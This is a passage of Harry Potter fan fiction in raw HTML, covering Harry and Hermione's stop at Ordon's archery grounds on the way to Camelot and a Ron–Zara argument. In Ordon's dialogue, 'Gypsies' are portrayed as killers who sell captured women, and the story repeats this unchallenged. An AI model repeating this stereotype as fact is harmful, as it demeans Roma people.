rays caused the\nsilver steel to shimmer brightly.&nbsp; &#8220;This\nis my most prized weapon, it was given to me by a friend of mine, Morat\nAtkins.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Morat\nAtkins is your friend?&#8221; Hermione was in awe.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yep,\nwe&#8217;ve been good friends since our Hogwarts days&#8221; He sighed &#8220;which was a long\ntime ago.&#8221;&nbsp; Ordon looked at Hermione\noddly. &#8220;How do you know Morat Atkins?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nhe happens to be one of our professors.&#8221; Harry said</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah\nwell I&#8217;m not surprised, he always loved to teach weaponry.&#8221; Ordon put his\nfinger to his chin, &#8220;is there a woman working with him?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded, &#8220;yes, an Oria Bunn I think, she&#8217;s his assistant.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ordon\nsmiled, &#8220;yes, well she happens to be my sister, she left here not to long ago.\nOff to see the world she said.&nbsp; I didn&#8217;t\nthink she would go and work with Morat.&#8221; He started chuckling. &#8220;I&#8217;ve always\nthought she had a bit of a crush on Morat, in our younger days Morat would&#8212;&#8221;\nOrdon stopped his comment looking at Hermione.&nbsp;\n&#8220;I&#8217;m afraid I can&#8217;t finish my thought with this young lady standing\nhere.&#8221; He glanced about Hermione&#8217;s face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nscoffed. &#8220;believe me I&#8217;ve heard worse, my two best friends for most of my life\nhappened to be boys, I know how your minds work.&#8221; She said to Ordon.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nmaybe true, but I have certain rules pertaining to the proper conversations\nwhile in the presence of a lady, I don&#8217;t even let my own daughter listen in.&#8221;\nOrdon looked over her head and saw his daughter stringing a bow.&nbsp; &#8220;Look there she is, my daughter Sienna.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione both turned in the direction of where Ordon was facing, and sure\nenough there was a young blondish brown haired girl about Hermione&#8217;s age\nstringing a bow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\ndon&#8217;t you go and talk to her Hermione, so I can have a little talk with Harry\nhere.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnarrowed her eyes at Ordon, who was he to tell her what she was allowed to hear\nor not?&nbsp; She was not his daughter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\njust manly talk, trust me you would be quite board.&#8221; Ordon said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Fine,&#8221;\nHermione rolled her eyes. &#8220;Have your manly talk.&#8221; She turned and headed towards\nSienna.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both\nHarry and Ordon watched as Hermione walked up to Sienna and greet her with a\nsmile, Sienna also smiled nodding her head, she began showing Hermione about\nthe bow she was stringing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ordon\ntitled his head regarding Hermione from a far, &#8220;lovely girl you got there\nHarry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;ll\nneed to be careful with her around these parts.&nbsp;\nThere&#8217;s Gypsies in these woods.&#8221; Ordon said with a degree of caution.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\nshould we worry?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nmy boy, they would kill for a pretty face, and I mean that literally.&nbsp; They could fetch a fair price for her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nmean they would kill me and then sell her?!&#8221; Harry shouted his shock.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Shhh!&#8221; Ordon said, &#8220;keep your\nvoice down.&#8221; He swung his blade in the air a few times. &#8220;Yes that could happen,\nare you a good fighter?&nbsp; Now if your not,\nyou have to appear strong and in control of your woman, and they wouldn&#8217;t\nattempt to harm you or her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;In\ncontrol of her? How do you mean?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nshe would obey your every command.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\njust stupid, I would never want her to do that.&#8221; Harry said looking over at\nHermione who was holding the bow in her hand and pulling the string back.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If\nit looked like she belonged totally to you then they wouldn&#8217;t attempt to take\nher, it&#8217;s a male domination thing when it comes to these gypsies, if they see\nher talking back and speaking her mind, they would assume your not fit to\ncontrol her and that you are not even man enough to put her in her place.&nbsp; So they would kill you, break her spirit and\nthen sell her off.&#8221;&nbsp; Ordon was very\nserious, he started making a stabbing motion in the air with his sword.&nbsp; &#8220;I would suggest discussing this with her to\nplay along in case you run into these gypsies. I mean you don&#8217;t want her taken\naway do you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nshook his head frantically, &#8220;no, no, not at all. I need her.&#8221; He looked at\nOrdon.&nbsp; &#8220;I will talk to her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ordon\nsmirked, &#8220;let&#8217;s see what Atkins taught you, how about a go with me, you can\npick any sword from the rack over there.&#8221; He pointed towards the large rack of\nswords.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded, &#8220;all right then.&#8221; He walked over to the rack of swords and picked a\nnice blade from the selections and headed back towards Ordon.&nbsp; He took a quick glance over at Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\nis Hogwarts Hermione?&nbsp; I&#8217;ve always wanted\nto go there, but I have no magic in me, unlike my brothers.&#8221;&nbsp; She glanced down at her feet, &#8220;I&#8217;m a squib,\nand it&#8217;s right disappointing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nsorry.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\ndon&#8217;t be.&#8221; Sienna replied with a smile, &#8220;you&#8217;ve done nothing to be sorry\nfor.&#8221;&nbsp; Sienna handed Hermione an arrow. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ve\nnever used one of these before. I mean I&#8217;ve seen it done many times on the\ntelevision.&#8221; Hermione said looking at the bow in her left hand and the arrow in\nher right.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Television?&#8221;\nSienna was confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nshook her head, &#8220;it&#8217;s nothing, a muggle thing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah.&#8221;&nbsp; Sienna nodded.&nbsp; &#8220;Enough said.&#8221; She glanced at Hermione with a\nsmile. &#8220;Alright then, put the feathered end which has a little space, put the\nend against the string. Make sure the string is inside the space.&#8221;&nbsp; Sienna gave her a demonstration of how the\narrow was suppose to look.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ncaught on, she positioned the arrow in the bow, &#8220;now you want to aim for that\nblack middle circle on the target.&#8221; Hermione heard Sienna say.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now\nHermione, if you hit anywhere on the target that will be great since you are a\nbeginner.&nbsp; Watch me, I&#8217;ll show you how\nit&#8217;s done.&#8221; Sienna loaded the arrow and pulled the string back, she closed one\neye aiming for the bullseye.&nbsp; She let the\narrow go and it rushed through the air hitting the blue circle around the\nbullseye.&nbsp; Sienna smiled at how close she\nhad gotten to the bullseye.&nbsp; &#8220;Okay your\nturn.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Sienna\nstepped away, she knew how some beginners had no aim and their arrows ended up\ngoing in a completely different direction then the intended. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\npositioned her arrow, pulled back the string aiming for the bullseye, she let\nthe sting go and her arrow rushed through the air, hitting the direct center of\nthe bullseye.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Sienna\nstared, her jaw dropped. &#8220;Oh my.&#8221; She looked over at Hermione who had the same\nexpression on her face.&nbsp; &#8220;Try it again,\nit must be beginners luck.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nshook her head and regained her thoughts as Sienna handed her another\narrow.&nbsp; Taking the arrow, Hermione\npositioned it and let it loose.&nbsp; It hit\nthe bullseye again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Sienna\nstared, pointing at Hermione. &#8220;Are you fibbing me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nnot at all.&#8221; Hermione stared at the bullseye that had two arrows in it.&#8221;&nbsp; She watched as Sienna walked over and pulled\nthe arrows from the target</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Here,\nkeep doing it.&#8221; Sienna picked up a large amount of arrows and placed it in a\nleather bag, she handed Hermione the quiver full of arrows.&nbsp; &#8220;let&#8217;s see how many you can shoot. I&#8217;ll be\nright back.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Sienna\nhurried over to where her father was, &#8220;pappa.&#8221; She\nshouted breaking up Ordon and Harry&#8217;s mock fight.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nis it?&#8221; Ordon said looking over at Sienna.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nhave got to see this, come, hurry.&#8221;&nbsp; She\nthen spun on her heels and ran back towards the archery corner.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ordon\nshrugged and he and Harry followed after Sienna.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\napproached just as Hermione shot another arrow hitting the bullseye, Ordon\nnoticed the whole bullseye was full of arrows.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Sienna\npulled on her father&#8217;s arm, &#8220;she has never shot an arrow before.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ordon\nlooked at Hermione, &#8220;is that true?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded looking a bit stunned. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both\nOrdon and Sienna were starring at Hermione, and she started to feel a bit\nawkward.&nbsp; She looked at Harry who was\njust as amazed but didn&#8217;t show it on his face like Ordon and his daughter did,\nbut she could tell by the way his eyes stared directly into hers, that he was\nalso impressed with her talent.&nbsp; &#8220;Harry,\nwe should get going now.&#8221; She said breaking the silence.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ordon\nlooked at Harry, &#8220;where is it that you are heading?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;To\nCamelot.&#8221; Harry replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nthen you two have quite the journey.&#8221; Ordon said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nand we really should be on our way.&#8221; Harry and Hermione turned to go when they\nsaw Gavin running towards them. He stopped holding a small vile of the same\nglittery potion. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Here.&#8221;\nGavin said panting, he handed Harry the vile.&nbsp;\n&#8220;In case of any more Morginite poisonings.&#8221; He smiled at the two of them</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded her appreciation, and she and Harry turned to head back into the\nwoods.&nbsp; They were just at the edge that\nled into the forest, </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sorry\nabout the trespassing.&#8221; Harry shouted back at Ordon and his family.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ordon\nsmiled, &#8220;hey, don&#8217;t worry about it. We&#8217;re friends now, it&#8217;s not trespassing\nanymore.&#8221; He shouted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come\nback and see us again.&#8221; Sienna also shouted, waving her hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione both waved and then disappeared into the woods.&nbsp; They continued on their way towards Camelot.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nthey were nice, I don&#8217;t think we are always gonna be so lucky when it comes to\npeople who dwell in this forest.&#8221; Hermione said, walking next to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nglanced over at her for a moment, &#8220;there&#8217;s something we need to talk about.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nis it?&#8221; Hermione was concerned, he looked so serious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nguy back there Ordon, well he said that there are gypsies in this forest, and\nthat we have to be prepared in case we run into them.&#8221; He said with a sigh.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay,\nwell how are we to prepare for gypsies?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nhave to do whatever I say, no matter what.&#8221;&nbsp;\nHe saw the confused look in her eye, &#8220;I mean not right now, but if we\nrun into them.&nbsp; You have to act like&#8212;&#8221;\nHarry couldn&#8217;t finish he didn&#8217;t like telling her that he would have lord over\nher until they got away from the gypsies.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Like\nyou&#8217;re in charge.&#8221; Hermione finished for him.&nbsp;\nShe noticed he looked uneasy, and she let out a small laugh. &#8220;it&#8217;s\nalright Harry, I understand. If we run into those gypsies I&#8217;ll do whatever you\nsay.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nstopped, he pulled on her arm getting her to stop also, &#8220;we should practice a\nlittle, so it looks natural.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\neyed him with suspicion, &#8220;something tells me you&#8217;re going to get a kick out of\nordering me around.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nnever, I would never get a kick out of ordering you around.&#8221; He thought a\nmoment, &#8220;well maybe a little kick.&#8221; He grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded, &#8220;fine, we&#8217;ll practice.&nbsp; Okay tell\nme what to do, I&#8217;m ready for it.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nthought a moment, &#8220;Okay touch your nose with your finger.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nshrugged and touched her nose with her finger, and then brought it down again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now\ntouch your nose with your finger again and keep it there till I tell you to\ndrop it.&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ntouched her nose with her finger again, and not moving it.&nbsp; She felt really silly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;While\nkeeping your finger on your nose, also hop on one foot.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nrolled her eyes, and began hopping on one foot. &#8220;you&#8217;re having fun with this\naren&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ncouldn&#8217;t help it, he let out a chuckle watching her hop on one foot while\nkeeping her finger on the end of her nose.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nyou think this is funny do you?&#8221; Hermione said, looking angry.&nbsp; That just made Harry burst out into even more\nlaughter.&nbsp; &#8220;Are you done having your fun\nnow, can I stop hopping?&#8221; Hermione glared.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,\nyes.&nbsp; You can stop.&#8221; Harry said waving\nhis hand giving her the stopping motion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstopped hopping but she continued to glare at him, &#8220;Oh thank you for letting me\nstop, oh mighty lord.&#8221; She said sarcastically.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nheld up his finger &#8220;ah, ah did I say you could talk?&#8221; He grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nrolled her eyes, silently thinking that she&#8217;s really gonna make him suffer as\nsoon as this is all over.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just\none more thing, close your eyes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\neyed him suspiciously then closed her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nleaned in and captured her mouth with his. She instantly responded as her arms\nwent around his neck and he pulled her tighter against him.&nbsp; He nudged her mouth open and he deepened the\nkiss, kissing her slowly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara,&#8221;\nRon said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\ncontinued to ignore him as she walked down the hall.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\ncalled out to her again, he sighed knowing she wasn&#8217;t going to have any of it\nas he caught up to her. &#8220;Zara, please talk to me.&#8221; He put his hand on her\narm.&nbsp; And she whirled on him\nglaring.&nbsp; Oh if looks could kill.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nRon I don&#8217;t want to talk to you, if that&#8217;s how you treat your best friends whom\nyou care about, then I don&#8217;t even want to know how you would treat a girlfriend\nwhom you would be in love with.&#8221; She spun around to walk away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look\nI&#8217;ve had time to think and I&#8217;m sorry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nstopped, &#8220;sometimes sorry comes to late.&#8221; She said quietly.&nbsp; Zara turned around facing him and walked\nright up to him.&nbsp; &#8220;Look I&#8217;m not the one\nyou should be apologizing to.&#8221; Zara sighed looking up into his bright blue\neyes.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nnoticed the look of disappointment in hers, not anger.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\nnot like I&#8217;m Hermione&#8217;s best friend or anything, hey she probably doesn&#8217;t even\nconsider me as good a friend as she did you.&nbsp;\nWhat you said I know was probably out of anger and feeling left\nout.&nbsp; Believe it or not, your friends\nalways thought of you first.&nbsp; They might\nnever forgive you for what you said, and like I said before, even if you say\nsorry, sometimes sorry comes too late.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\ndoes everything we talk about have to end up about Hermione and Harry?&#8221; Ron\nsaid softly, glancing at the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because\nyou are feeling guilty for what you said, and you seem to think we are always\ntalking about them.&nbsp; Ron we hardly talk\nabout them, every time we do, you always bring them up, and I&#8217;m quite tired of\nhearing about it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara,\nare we, you know okay?&#8221; He stared deeply into her eyes, &#8220;I don&#8217;t want to loose\nyou because of something stupid I said one night out of anger.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;She sighed looking away for a moment, she then\nlifted her dark eyes. &#8220;Ron, I still care about you, more than you probably\nrealize.&nbsp; But you have got to get a\nhandle on that jealousy of yours.&nbsp; So when\nyou stop acting like a ten year old then you can come to me, but as it is. I\nwant nothing to do with you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But\nI wasn&#8217;t jealous, I have no reason to be.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nyou were, you might not be jealous because Hermione and Harry are together, but\nyou are jealous of the amount of time they spend together, without you.&nbsp; All our lives change whether you want them to\nor not. It&#8217;s called growing up and we all have to do it sometime.&nbsp; You will always be their friend Ron whether\nthey are in love or not.&nbsp; Well maybe\nyou&#8217;re not anymore.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Enrique\npoked his head from around the corner, &#8220;Zara come on,&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nlooked towards Enrique annoyed, &#8220;all right keep your pants on.&#8221;&nbsp; She turned back looking at Ron, &#8220;I&#8217;ve got to\ngo I have friends waiting for me. I&#8217;ll talk to you later if you decide to grow\nup and start acting like the guy I fell for at the beginning of the year.&nbsp; See you around Weasley.&#8221; Zara turned and\nquickly moved away from Ron, her heels clicking against the stone floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nsolemnly turned and went in the other direction, he was very sorry about what\nhe had said to Hermione, Zara was right he was angry and jealous, he had been\nleft out again. After a night and a day to think about it, he had been\nwrong.&nbsp; He began worrying about them when\nhe heard Dumbledore speak of the dangers that they might be facing and he had\nthe nerve to curse them in his mind for it last night.&nbsp; &#8220;Why do I have to be such a git?&#8221; He said out loud, to no one in particular.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\npulled away still holding on to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sorry\nfor making you feel silly.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nturned her face into his chest as smiled.&nbsp;\nHermione looked up at him, &#8220;you&#8217;re forgiven.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nlaughed as his embrace tightened a little more.&nbsp;\nHe sighed looking over her head, and straight ahead of them was the\nworst sight he had ever seen.&nbsp; &#8220;Look\nHermione.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nsounded distressed as he pointed ahead Hermione pulled away from him, She\nturned and&nbsp; saw the murky waters of a\nreally eerie looking swamp.&nbsp; There were\nso many dead looking trees poking up out of the water, some of the water was\neven pea soup green.&nbsp; There was a really\nfoul smell of which was somewhat between the scent of rotten eggs and melted\nflesh.&nbsp; </p>\n\n<p class="MsoNormal" 